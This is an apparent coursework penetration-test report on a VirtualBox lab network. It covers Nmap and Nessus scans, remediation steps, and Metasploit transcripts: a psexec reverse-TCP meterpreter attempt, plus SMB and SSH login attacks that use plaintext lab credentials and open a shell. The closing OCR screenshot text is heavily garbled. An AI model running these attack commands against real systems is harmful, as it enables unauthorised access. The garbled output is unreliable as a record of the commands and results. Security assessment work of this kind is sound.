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[bookmark: _Toc226026386]1. Introduction
This report provides an overview of the security of SOAC Inc.'s enterprise network, known internally as "SWANSEA.ACCA". A certified security consultant conducted the assessment, and the scope was defined in advance in accordance with NIST SP 800-115, Technical Guide to Information Security Testing and Assessment [1]. The network connects two physical locations, Swansea and London, through a site-to-site VPN. All of the computers on the network run as virtual machines in Oracle VirtualBox.
S-DC1, a Windows Server 2022 at 192.168.1.1, is the domain controller, DNS server, and DHCP server for Swansea. acca Active Directory domain. It is the main server for the Swansea site. ClientS1 is a Windows 10 workstation at 192.168.1.10, part of the same domain. VPN connects the London site and has L-CD at 192.168.2.1, a Debian 12 server that acts as a DHCP relay and domain member, and ClientL1, a Debian desktop client at 192.168.2.10.
The evaluation utilised a systematic red- and blue-team approach [2]. The red team posed as an attacker, gathering information, identifying weaknesses, and demonstrating how to exploit them. The blue team put in place measures to reduce the identified risks. The scope included checking network connections, conducting active reconnaissance with Nmap, using Nessus Professional to automatically scan for vulnerabilities, using the Metasploit Framework to exploit them, and implementing six security measures to prevent them.

[bookmark: _Toc226026387]2. Task 1: Network Verification
The virtual network was checked before security testing. We looked at the topology diagram to see if each machine's IP address matched. All hosts on both network segments were able to ping each other using ICMP. To allow ICMP traffic, Windows Defender Firewall was temporarily disabled on Windows computers. By default, it blocks pings.

[bookmark: _Toc226026388]2.1 IP Configuration Verification
The virtual network was checked before the security test. We looked at the topology diagram to see if each machine's IP address matched. We did ICMP ping tests between all hosts on both network segments. Windows Defender Firewall was temporarily disabled on Windows computers to allow ICMP traffic to pass through. By default, it blocks pings.
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Figure 1: S-DC1 IP Configuration (ipconfig /all), 192.168.1.1 Confirmed.
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Figure 2: ClientS1 IP Configuration (ipconfig /all), 192.168.1.10 Confirmed
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Figure 3: L-CD IP Configuration (IP address), 192.168.2.1 Confirmed
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Figure 4: Client L1 IP Configuration (IP address), 192.168.2.10 Confirmed
[bookmark: _Toc226026389]2.2 Ping Tests
The ipconfig /all command was executed on Windows machines, and the IP address was checked on Debian systems. All four hosts returned the expected IP addresses, confirming correct VM configuration before testing.
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Figure 5: S-DC1 Ping to 192.168.1.10 (ClientS1), Successful
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Figure 6: S-DC1 Ping to 192.168.2.1 (L-CD), Successful
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Figure 7: S-DC1 Ping to 192.168.2.10 (Client L1), Successful
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Figure 8: L-CD Ping to 192.168.1.1 (S-DC1), Successful
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Figure 9: L-CD ping to 192.168.1.10 (ClientS1), successful
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Figure 10: L-CD ping to 192.168.2.10 (Client L1), Successful
[bookmark: _Toc226026390]3. Task 2: Network Security Assessment
[bookmark: _Toc226026391]3.1 Kali Linux Setup
We chose Kali Linux as the security-focused operating system for this test because it comes with all the tools needed for penetration testing. Without having to install anything else or manage dependencies, Nmap, Metasploit Framework, Wireshark, and Nessus were all easy to find [3]. The Kali-19 VM came with three network adapters: NAT for internet access, IntSwa for the Swansea segment, and External for VPN access.
The eth1 interface was given the static IP address 192.168.1.50/24, which put Kali on the Swansea network. This made it possible to connect directly to S-DC1, ClientS1, and the London site through a VPN. Ping tests to all four hosts confirmed that they were all connected before the scan began.
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Figure 11: Kali-19 IP Configuration (ip a) – IP 192.168.1.50 Confirmed
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Figure 12: Kali-19 Ping to 192.168.1.1 (S-DC1), Successful
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Figure 13: Kali-19 ping to 192.168.1.10 (ClientS1), Successful
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Figure 14: Kali-19 ping to 192.168.2.1 (L-CD). Successful
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Figure 15: Kali-19 ping to 192.168.2.10 (ClientL1), Successful
[bookmark: _Toc226026392]3.2 Information Gathering
Active reconnaissance was conducted using Nmap (Network Mapper), a widely used open-source tool for network discovery and port scanning [4]. Service version detection was performed with nmap -sV -Pn --disable-arp-ping on all four hosts. The -Pn flag was required because Windows hosts do not respond to ICMP probes from Nmap by default, which would otherwise cause them to appear offline. Using -Pn ensures Nmap scans ports regardless of ping response.
The scan found many open services. There were 21 open ports on S-DC1, such as FTP (port 21, Microsoft ftpd), HTTP and HTTPS (ports 80 and 443, Microsoft IIS 10.0), Kerberos (port 88), LDAP (ports 389 and 3268), and SMB (port 445). ClientS1 had ports 135, 139, and 445 open, which is normal for Windows RPC and SMB. L-CD ran vsftpd 3.0.5 (port 21), OpenSSH 10.0p2 (port 22), and Apache HTTP (port 80) on the London segment. ClientL1 had Apache 2.4.62 and OpenSSH 9.2.
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Figure 16: Nmap Service Scan, S-DC1 (192.168.1.1) and ClientS1 (192.168.1.10)
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Figure 17: Nmap Service Scan, L-CD (192.168.2.1) and Client L1 (192.168.2.10)
[bookmark: _Toc226026393]3.3 Vulnerability Assessment
Two methods were used for vulnerability scanning. Nmap was run with the --script vuln flag on each host to test for known vulnerabilities on open ports and services. Nessus Professional was also installed on Kali to perform a credentialed network scan of all four hosts [5]. Credentialed scans provide a more comprehensive assessment by checking for missing patches and misconfigurations internally. Results were categorised using the NIST Cybersecurity Framework severity model [6]. Six vulnerabilities were identified across the network.
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Figure 18: Nmap Vulnerability Scan, S-DC1, MS08-067 Remote Code Execution Detected
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Figure 19: Nmap Vulnerability Scan, ClientS1 (192.168.1.10)
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Figure 20: Nmap Vulnerability Scan, L-CD, FTP, SSH and HTTP Services with Exposed Test Page
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Figure 21: Nmap Vulnerability Scan, ClientL1 (192.168.2.10), SSH and HTTP Services Detected
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Figure 22: Nessus Professional Vulnerability Scan, S-DC1 (192.168.1.1), Detailed Vulnerability Results
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Figure 23: Nessus Professional Scan, SWANSEA.ACCA Network, 3 Hosts with Vulnerabilities Identified.
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Figure 24: Nessus Essentials, Network Scan Initiated, 4 Hosts Discovered



[bookmark: _Toc226026394]Table 1: Identified Vulnerabilities, SWANSEA.ACCA Network

	#
	Vulnerability
	Affected Host
	Severity
	CVE/Reference

	1
	MS08-067 Remote Code Execution
	S-DC1 (192.168.1.1)
	High
	CVE-2008-4250

	2
	FTP Service Exposed (Unencrypted)
	S-DC1, L-CD
	High
	CWE-319

	3
	SMB Port 445 Exposed
	S-DC1, ClientS1
	Medium
	CVE-2017-0144

	4
	Apache Test Page Exposed (/test/)
	L-CD (192.168.2.1)
	Medium
	CWE-200

	5
	SSH Exposed on Multiple Hosts
	L-CD, ClientL1
	Low
	CWE-307

	6
	HTTP Without HTTPS
	L-CD, ClientL1
	Low
	CWE-319



Vulnerability 1, MS08-067 (CVE-2008-4250): The Nmap vulnerability scan flagged S-DC1 as likely vulnerable to MS08-067, a remote code execution flaw in the Windows Server service that has been public knowledge since 2008. The vulnerability allows an unauthenticated attacker to send a crafted RPC request that triggers a stack overflow, granting them arbitrary code execution on the target. On Windows 2000, XP, and Server 2003 systems, the exploit works without any credentials. [7]
Vulnerability 2, FTP Service Exposed: FTP was running on both S-DC1 (Microsoft ftpd, port 21) and L-CD (vsftpd 3.0.5, port 21). The core problem with FTP is that it was designed before encryption was a concern; it sends usernames, passwords, and file content in plaintext. Anyone on the same network with a packet capture tool can read the credentials in seconds. [8]
Vulnerability 3, SMB Port 445 Exposed: SMB port 445 was open and accessible on both S-DC1 and ClientS1. While SMB is a necessary part of how Active Directory works, leaving it reachable from untrusted network positions without additional controls creates real risk. SMB has been the attack vector for some of the most damaging exploits in recent years, including EternalBlue, which was used to spread WannaCry ransomware across thousands of organisations. [9]
Vulnerability 4, Apache Test Page Exposed: Vulnerability 4, Apache Test Page Exposed: The Nmap http-enum script found an accessible /test/ directory on the L-CD Apache server. Test directories are often left unintentionally and may contain diagnostic pages, default configurations, or sample files that reveal server setup details and potential vulnerabilities.
Vulnerability 5, SSH Exposed on Multiple Hosts: OpenSSH was running on both L-CD (version 10.0p2) and ClientL1 (version 9.2p1) with password-based authentication enabled. SSH itself is a secure protocol, but allowing password login means an attacker only needs to guess or obtain a valid credential to get full shell access. This is exactly what was demonstrated during the exploitation phase. [10]
[bookmark: _Toc226026395]Vulnerability 6, HTTP Without HTTPS: Without TLS, the Apache HTTP server was handling traffic on port 80 for both L-CD and ClientL1. A man-in-the-middle attack can intercept data that is sent in plaintext, such as credentials or session tokens.







4. Task 3: Exploitation
[bookmark: _Toc226026396]4.1 Exploitation
Metasploit Framework [11] was used for exploitation. This is a standard penetration testing platform with pre-built exploit modules for known vulnerabilities. There were two attacks shown: an SMB credential attack on S-DC1 and an SSH brute-force attack on L-CD.
The first attack tried to take advantage of the MS08-067 and MS17-010 (EternalBlue) flaws on S-DC1. Both exploit modules were set up so that S-DC1 was the target and Kali was the listener. Both exploits failed: MS08-067 couldn't fingerprint the OS, and MS17-010 said the target wasn't vulnerable, which is what you would expect since S-DC1 was running Windows Server 2022 with the patch installed. This good result shows that some patching has been done on the domain controller.

[image: ]
Figure 25: Metasploit Framework, MS08-067 Exploit Module Confirmed
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Figure 26: Metasploit MS17-010 EternalBlue Exploit Attempt Against S-DC1, Host Not Vulnerable, Patch Confirmed
The second approach used the auxiliary/scanner/smb/smb_login module to attempt a credential-based attack against S-DC1 over SMB port 445. With administrator credentials, the module authenticated successfully, confirming that an attacker with valid domain credentials can access the domain controller directly via SMB without further exploitation.
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Figure 27: Metasploit SMB Login Brute Force, Successful Authentication to S-DC1 (192.168.1.1) as Administrator
The third attack used the auxiliary/scanner/ssh/ssh_login module on port 22 to attack L-CD. Using London login credentials, the module logged in and set up a live command shell session on L-CD. This shows that an attacker with valid credentials can easily obtain remote shell access if SSH password authentication is enabled.[image: ]
Figure 28: Metasploit SSH Login, Successful Shell Session Opened on L-CD (192.168.2.1)
[bookmark: _Toc226026397]4.2 Post-Exploitation
After opening a shell session on L-CD, several post-exploitation commands were run to demonstrate that access was possible. The whoami and id commands showed that the session was running as londonlogin. The hostname command verified the target, and ipconfig showed the full network setup, including both the London LAN and VPN interfaces.
From here, an attacker could go even further. L-CD is at the edge of the London network and the VPN to Swansea. It is the point of access for ClientL1 and possibly the Swansea segment. LondonLogin is a member of the domain, so credential harvesting could be used to obtain higher-privilege domain credentials, allowing people who aren't supposed to access sensitive resources in Swansea to do so.[image: ]
Figure 29: Post-Exploitation, System Information Gathered from L-CD Following Successful SSH Compromise
[bookmark: _Toc226026398]5. Task 4: Security Measures
[bookmark: _Toc226026399]Six preventive security measures were implemented to address the identified vulnerabilities. These align with the hardening guidance in NIST SP 800-53 [6]. Each measure is documented with a screenshot showing its application on the relevant machine
5.1 Measure 1, FTP Disabled on L-CD
The vsftpd service was stopped and permanently disabled on L-CD using sudo systemctl turn off --now vsftpd. The service status was confirmed as inactive. FTP is unnecessary on a server running SSH; secure file transfers can be handled via SFTP over the existing SSH connection [8].
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Figure 30: Security Measure 1, FTP Service Disabled on L-CD (192.168.2.1)
[bookmark: _Toc226026400]5.2 Measure 2, FTP Disabled on S-DC1
The IIS FTP Server feature was removed from S-DC1 using the Disable-WindowsOptionalFeature cmdlet with the -Online and -FeatureName IIS-FTPServer parameters. FTP is not required on a domain controller, and its removal reduces the attack surface on this critical machine [7].
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Figure 31: Security Measure 2, FTP Service Disabled on S-DC1 (192.168.1.1)
[bookmark: _Toc226026401]5.3 Measure 3, Windows Firewall Enabled on S-DC1
Using netsh advfirewall set allprofiles state on, Windows Defender Firewall was turned back on for all profiles on S-DC1. The firewall had been turned off before for ping tests. It must remain in production as a key host-based control to block unwanted incoming traffic, such as SMB connections from untrusted sources [12].
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Figure 32: Security Measure 3, Windows Firewall Enabled on S-DC1 (192.168.1.1)




[bookmark: _Toc226026402]5.4 Measure 4, Apache Test Page Removed on L-CD
[image: ]The command "sudo rm -rf /var/www/html/test" removed the test directory from the Apache web root on L-CD. The directory listing showed that it had been deleted, leaving only index.html and vulnerable.php. Only the intended content should be served by production web servers. Test directories that aren't needed can reveal the server's configuration and software versions to attackers.
Figure 33: Security Measure 4, Apache Test Page (/test/) Removed on L-CD (192.168.2.1)
[bookmark: _Toc226026403]5.5 Measure 5, SSH Password Authentication Disabled on L-CD
Password-based SSH authentication was disabled on L-CD by editing /etc/ssh/sshd_config to set PasswordAuthentication to no, then restarting the SSH daemon. This addresses the vulnerability exploited in Task 3; with password authentication disabled, brute-force attacks using valid credentials are prevented [10]. Only key-based authentication should be permitted.
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Figure 34: Security Measure 5, SSH Password Auth Disabled on L-CD, sshd_config Modified and Service Restarted
[bookmark: _Toc226026404]5.6 Measure 6, Network Monitoring with Wireshark
We used Wireshark on Kali Linux to watch live network traffic on the eth1 interface. The capture showed packets going back and forth between Kali (192.168.1.50) and S-DC1 (192.168.1.1) in real time. This included TCP handshakes, DNS lookups, and SMB traffic. This level of monitoring lets security teams see what's going on on the network [13]. If you don't keep an eye on things, attacks like the SMB credential brute force in Task 3 could go unnoticed. Captured traffic sets a standard for spotting future problems.
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Figure 35: Security Measure 6, Wireshark Network Traffic Monitoring on Kali (192.168.1.50)
[bookmark: _Toc226026405]6. Conclusion
[bookmark: _Toc226026406]This evaluation discovered six weaknesses in the SWANSEA.ACCA network. There were two high-severity problems: a flaw in the domain controller that allowed remote code execution and unencrypted FTP on two machines. Two were of medium severity (an exposed SMB and an Apache test page), and two were of low severity (SSH password authentication and unencrypted HTTP). These problems didn't need advanced hacking skills, which shows how serious they are.
The exploitation phase showed that it was easy to gain access to both S-DC1 and L-CD using Metasploit and valid credentials; no zero-day exploits were required. The SMB brute-force attack on S-DC1 and the SSH login on L-CD both succeeded immediately. It's a good sign that the EternalBlue and MS08-067 exploits no longer work on S-DC1. This means that the domain controller has been fixed.
All six security measures have been put in place and written down. The organisation should prioritise credential management by changing passwords frequently, applying the principle of least privilege to domain accounts, and considering multi-factor authentication for administrative access. It is best to perform regular automated vulnerability scans to detect new exposures promptly rather than during an incident [6].
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londonlogin6L-CD:"$ ip a
lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc nogueue state UNKNOHN group default glen 1000
Link/loopback 00:00:09:00:00:00 brd 00:00:00:00:60:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
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nitheesh@nitheesh:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
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inet6 ::1/128 scope host noprefixroute
valid_1ft forever preferred_lft forever
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londonlogingL-C0:™$ ping 192.168.1.1 -C 4

PING 192.168.1.1 (192.168.1.1) S6(84) bytes of data.

64 bytes from 192.166.1.1: icmp_seq=1 tt1=127 time=d.81 ms
54 bytes from 192.168.1.1: icmp_seq=2 tt1=127 time=0.852 ms
64 butes from 152.166.1.1: icmp_seq=3 ttl=127 time=1.63 ms
64 butes from 192.166.1.1: icmp_seq=4 tt1=127 time=2.10 ms

192.168.1.1 ping statistics
4 packets transnitted, 4 received, 0% packet loss, time 3007ms
rtt min/ave/max/mdev = 0.852/2.360/4.807/1.481 ms
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londonlogin@L-CD:™$ ping 192.168.1.10 -c 4
PING 192.168.1.10 (192.168.1.10) 56(84) bytes of data.

64 bytes from 192.168.1.10: icmp_ser ns
64 bytes from 192.168.1.10: icmp_ser .76 ms
64 butes from 192.168.1.10: icnp_seq=3 ttl=127 31 ms
54 bytes from 192.168.1.10: lcmp_ser ms

192.168.1.10 ping statistics ---
4 packets transmitted, 4 received, o% packet loss, time 300dms
rtt min/avg/max/mdev = 3.637/5.850/10.642/2.791 ms
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londonlogin@L-C0: ™S ping 192.168.2.10 -c 4
PING 192.168.2.10 (192.168.2.10) 56(84) bytes of data.
64 bytes from 192.168.2.10
64 bytes from 192.168.2.10: icmp_ser
64 bytes from 192.168.2.10: icnp_seq=3 ttl=6d
54 bytes from 192.168.2.10: lcmp_ser

192.168.2.10 ping statistics ---
4 packets transmitted, 4 received, o% packet loss, time
rtt min/avg/max/mdev = 1.865/10.979/32.106/12.424 ms
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root@osboxes:~# ip a
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default
qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00: 00
inet 127.0.0.1/8 scope host lo
validilft forever preferred 1ft forever
inet6 ::1/128 scope host
va11d 1ft forever preferred 1ft forever
2: ethe: <BROADCAST MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UP gro
up default qlen 1000
link/ether ©8:00:27:bc:1d:44 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic ethe
valid_1ft 85161lsec preferred 1ft 85161lsec
3: ethl: <BROADCAST,MULTICAST,UP, LOWER_UP> mtu 1500 qdisc pfifo_fast state UP gro
up default qlen 1000
link/ether 08:00:27:1f:bd:82 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.50/24 scope global ethl
valid 1ft forever preferred 1ft forever
4: eth2: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UP gro
up default qlen 1000
link/ether 08:00:27:75:f8:4b brd ff:ff:ff:ff:ff:ff
inet6 fe80::a00:27ff:fe75:f84b/64 scope link noprefixroute
valid_1ft forever preferred 1ft forever
root@osboxes:~# [
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root@osboxes

64 bytes
64 bytes
64 bytes
64 bytes

from
from
from
from

192.
192.
192.

# ping 192.168.1.1 -c 4
PING 192.168.1.1 (192.168.1.1) 56(84)
192.

bytes of data.

168.1.1: icmp_seq=1 ttl=128 time=4.75

168.1.1: icmp_seq=2
168.1.1: icmp_seq=3

168.1.1: icmp_seq=4 ttl=128 time=1.36

--- 192.168.1.1 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss,

rtt min/avg/max/mdev = 1.362/2.423/4.750/1.362 ms

root@osboxes :~#

time

ms

ms

3006ms

NG
~ 6 B @

X

(=

=
18/03/20:

27

26
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root@osboxes
PING 192.

64
64
64
64

4 packets transmitted,

bytes
bytes
bytes
bytes

# ping 192.168.1.10

-c 4

168.1.10 (192.168.1.10) 56(84) bytes of data.

from 192.168.1.10: icmp_:
from 192.168.1.10: icmp_:
from 192.168.1.10: icmp :
from 192.168.1.10: icmp_:

192.168.1.10 ping statistics

seq=1 ttl=128 time=4.77 ms
seq=2 ttl=128 time=8.74 ms
seq=3 ttl=128 i
seq=4 ttl=128

4 received, 0% packet loss, time 3006ms

rtt min/avg/max/mdev = 3.471/5.353/8.744/2.014 ms
root@osboxes:~#
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root@osboxes:~# ping 192.168.2.1 -c 4
PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
64 bytes from 192.168.2.1: icmp_seq=1 ttl=63
64 bytes from 192.168.2.1: icmp_se ttl=63
64 bytes from 192.168.2.1: icmp_seq=3 ttl=63
64 bytes from 192.168.2.1: icmp_seq=4 ttl=63

--- 192.168.2.1 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3007ms
rtt min/avg/max/mdev = 2.821/6.421/11.447/3.672 ms
root@osboxes:~#
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root@osboxes:~# ping 192.168.2.10 -c 4

PING 192.168.2.10 (192.168.2.10) 56(84) bytes of data.

64 bytes from 192.168.2.10: icmp_seq=1 ttl=62 time=8.57 ms
64 bytes from 192.168.2.10: icmp_seq=2 ttl=62 time=5.50 ms
64 bytes from 192.168.2.10: icmp seq=3 ttl=62 time=5.36 ms
64 bytes from 192.168.2.10: icmp_seqg=4 ttl=62 time=10.1 ms

--- 192.168.2.10 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3008ms
rtt min/avg/max/mdev = 5.355/7.386/10.116/2.032 ms
root@osboxes : ~#
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root@osboxes:~# nmap -sV -Pn --disable-arp-ping 192.168.1.1 192.168.1.10 192.168.
2.1 192.168.2.10 -oN full_scan.txt

Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-22 16:11 EDT

Nmap scan report for 192.168.1.1

Host is up (©.00039s latency).

Not shown: 979 closed ports

PORT STATE SERVICE VERSION

7/tcp open echo

9/tcp open discard?

13/tcp open daytime Microsoft wWindows USA daytime

17/tcp open qotd windows qotd (English)

19/tcp open chargen

21/tcp open ftp Microsoft ftpd

53/tcp open domain?

80/tcp open http Microsoft IIS httpd 10.0

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-19 ©
7:36:24Z)

135/tcp open msrpc Microsoft windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: swan
sea.acca@., Site: Default-First-Site-Name)

443/tcp open ssl/http Microsoft IIS httpd 10.0

445/tcp open microsoft-ds Microsoft windows Server 2008 R2 - 2012 microsoft-ds
(workgroup: SWANSEA)

464/tcp open kpasswd5?

515/tcp open printer Microsoft 1lpd

o enG 202
6 B @ [ AHD
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515/tcb open printer Microsoft 1lpd
593/tcp open ncacn_http Microsoft windows RPC over HTTP 1.0
636/tcp open tcpwrapped

3268/tcp open ldap Microsoft windows Active Directory LDAP (Domain: swan
sea.acca®., Site: Default-First-Site-Name)

3269/tcp open tcpwrapped

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNnP)

1 service unrecognized despite returning data. If you know the service/version, p
lease submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new
-service :
SF-Port53-TCP:V=7.80%I=7%D=3/22%Time=69C0O4CED%P=x86_64-pc-linux-gnu%r (DNSV
SF:ersionBindReqTCP, 20, "\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\Xx03") ;

MAC Address: ©8:00:27:43:E9:AD (Oracle VirtualBox virtual NIC)

Service Info: Host: S-DC; 0S: Windows; CPE: cpe:/o:microsoft:windows
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Nmap scan report for 192.168.1.10
Host is up (0.0014s latency).
Not shown: 996 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)

MAC Address: 08:00:27:57:23:76 (Oracle VirtualBox virtual NIC)
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Initiating SYN Stealth Scan at 16:41
Scanning 2 hosts [1000 ports/host]
Discovered open port 21/tcp on 192.168.2.1
Discovered open port 80/tcp on 192.168.2.1

Niccmitarad Anan nart OO /+cn An 100 160 0 10

HfPame @A A D@ g,
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Nmap scan report for 192.168.2.1
Host is up (©0.0056s latency).
Not shown: 997 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 10.0p2 Debian 7 (protocol 2.0)
80/tcp open http Apache httpd

Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.2.10

Host is up (©0.0093s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 9.2pl Debian 2+debl2u5 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.

Senviccfost
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Service detection performed. Please report any incorrect results at https://nmap.
org/submit/

Nmap done: 4 IP addresses (4 hosts up) scanned in 165.88 seconds

root@osboxes:~#

Bfam
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Host script results:
smb-vuln-ms©8-067:

|
| VULNERABLE:

| Microsoft windows system vulnerable to remote code execution (MS©8-067)
|

|

|

State: LIKELY VULNERABLE

IDs: CVE:CVE-2008-4250
The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Ser

ver 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attacke

rs to execute arbitrary
code via a crafted RPC request that triggers the overflow during path

canonicalization.

|
| Disclosure date: 2008-10-23

| References:

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

| https://technet.microsoft.com/en-us/library/security/mse8-067.aspx
1=
1

smb-vuln-ms10-054: false
smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 229.75 seconds
root@osboxes:~#
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root@osboxes:~# nmap --script vuln -Pn --disable-arp-ping 192.168.1.10 -oN vuln_c
lientsl.txt

Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-22 16:58 EDT
Nmap scan report for 192.168.1.10

Host is up (©.12s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

135/tcp open msrpc

_clamav-exec: ERROR: Script execution failed (use -d to debug)
139/tcp open netbios-ssn

_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp open microsoft-ds

_clamav-exec: ERROR: Script execution failed (use -d to debug)
5357/tcp open wsdapi

_clamav-exec: ERROR: Script execution failed (use -d to debug)
MAC Address: ©8:00:27:57:23:76 (Oracle VirtualBox virtual NIC)

Host script results:

_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to recei
ve bytes: ERROR

smb-vuln-ms10-054: false

smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive byte
s: ERROR

Nmap done: 1 IP address (1 host up) scanned in 30.15 seconds
root@osboxes :~#
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Nmap done: 1 IP address (1 host up) scanned in 30.15 seconds

root@osboxes:~# nmap --script vuln -Pn --disable-arp-ping 192.168.2.1

d.txt

Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-22 17:01 EDT

Nmap scan report for 192.168.2.1

Host is up (©.12s latency).

Not shown: 997 closed ports

PORT STATE SERVICE

21/tcp open ftp

| _clamav-exec: ERROR: Script execution failed (use -d
| _sslv2-drow
22/tcp open ssh

| _clamav-exec: ERROR: Script execution failed (use -d
80/tcp open http

| _clamav-exec: ERROR: Script execution failed (use -d
| _http-csrf: Couldn't find any CSRF vulnerabilities.

| _http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
:,

/test/: Test page

http-stored-xss: Couldn't find any stored XSS vulnerabilities.

to debug)

to debug)

to debug)

Nmap done: 1 IP address (1 host up) scanned in 32.87 seconds

root@osboxes:~#
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root@osboxes:~# nmap --script vuln -Pn --disable-arp-ping 192.168.2.10 -oN vuln c

lientll. txt

Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-22 17:04 EDT
Nmap scan report for 192.168.2.10

Host is up (0.010s latency).

Not shown: 998 closed ports

PORT STATE SERVICE

22/tcp open ssh

| _clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open http

| clamav-exec: ERROR: Script execution failed (use -d to debug)
| _http-csrf: Couldn't find any CSRF vulnerabilities.

| _http-dombased-xss: Couldn't find any DOM based XSS.

| _http-stored-xss: Couldn't find any stored XSS vulnerabilities.

Nmap done: 1 IP address (1 host up) scanned in 31.20 seconds
root@osboxes : ~#
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Applications ~ Places ¥ & Firefox ESR ~
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metasploit v5.0.41-dev

1914 exploits - 1074 auxiliary - 330 post
556 payloads - 45 encoders - 10 nops

4 evasion

msfS > search mses_067

Matching Modules

# Name Disclosure Date Rank Check Descrip
tion
©® exploit/windows/smb/ms@8 067 netapi 2008-10-28 great Yes MSe8-06

7 Microsoft Server Service Relative Path Stack Corruption

msfs >
2206
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bl & e QTS T >
msfS auxiliary(scanner/smb/smb_login) > use exploit/windows/smb/psexec

msf5 exploit(windows/smb/psexec) > set RHOSTS 192.168.1.1

RHOSTS => 192.168.1.1

msf5 exploit(windows/smb/psexec) > set SMBUser Administrator

SMBUser => Administrator

msf5 exploit(windows /smb/psexec) > set SMBPass NotebooK@1l23

SMBPass => NotebooK@123

msf5 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse tc
p

payload => windows/x64/meterpreter/reverse_tcp

msf5 exploit(windows smb/psexec) > set LHOST 192.168.1.50

LHOST => 192.168.1.50

msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.1.50:4444
[*] 192.168.1.1:445 - Connecting to the server...
[*] 192.168.1.1:445 - Authenticating to 192.168.1.1:445 as user 'Administrator’'..

vzl -

[*] 192.168.1.1:445 - Selecting PowersShell target

[*] 192.168.1. 45 - Executing the payload...

[+] 192.168.1.1:445 - Service start timed out, OK if running a command or non-ser
vice executable...

[*] Exploit completed, but no session was created.

msf5 exploit(windows /smb/psexec) > run

Hfame @A AGZB DI PO 20
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msf5 exploit(windows/smb/ms17 010 eternalblue) > use auxiliary/scanner/smb/smb_lo
gin

msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.1.1

RHOSTS => 192.168.1.1

msf5 auxiliary(scanner/smb/smb _login) > set SMBUser Administrator
SMBUser => Administrator

msf5 auxiliary(scanner/smb/smb _login) > set SMBPass NotebooK@123
SMBPass => NotebooK@l23

msf5 auxiliary(scanner/smb/smb_login) > run

[*] 192.168.1.1:445 - 192.168.1.1:445 - Starting SMB login bruteforce

[+] 192.168.1.1:445 - 192.168.1.1:445 - Success: '.\Administrator:NotebooK@
123' Administrator

['] 192.168.1.1:445 - No active DB -- Credential data will not be saved!
[*] 192.168.1.1:445 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed
nsfs auxiliary(scanner/smb/smb_login) > [

EPame 2@ A ~eGBE L ree 0
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[+] 192.168.2.1:22 - Success: 'londonlogin:NotebooK@l23"'
[!'] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.1.50:42711 -> 192.168.2.1:22) at 2026
-03-22 18:45:34 -0400

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf5 auxiliary(scanner/ssh/ssh_login) > [

2245
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msfS5S auxiliary(scanner/ssh/ssh _login) > sessions -i 1
[*] starting interaction with 1...

Linux L-CD 6.12.48+debl3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.48-1 (2025-09-2
©) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

whoami

londonlogin

id

uid=1000(londonlogin) gid=1000(londonlogin) groups=1000(londonlogin),24(cdrom),25
(floppy),27(sudo),29(audio),30(dip), ideo) ,46 (plugdev),100(users),101(netdev)
hostname ﬁd

L= I

=
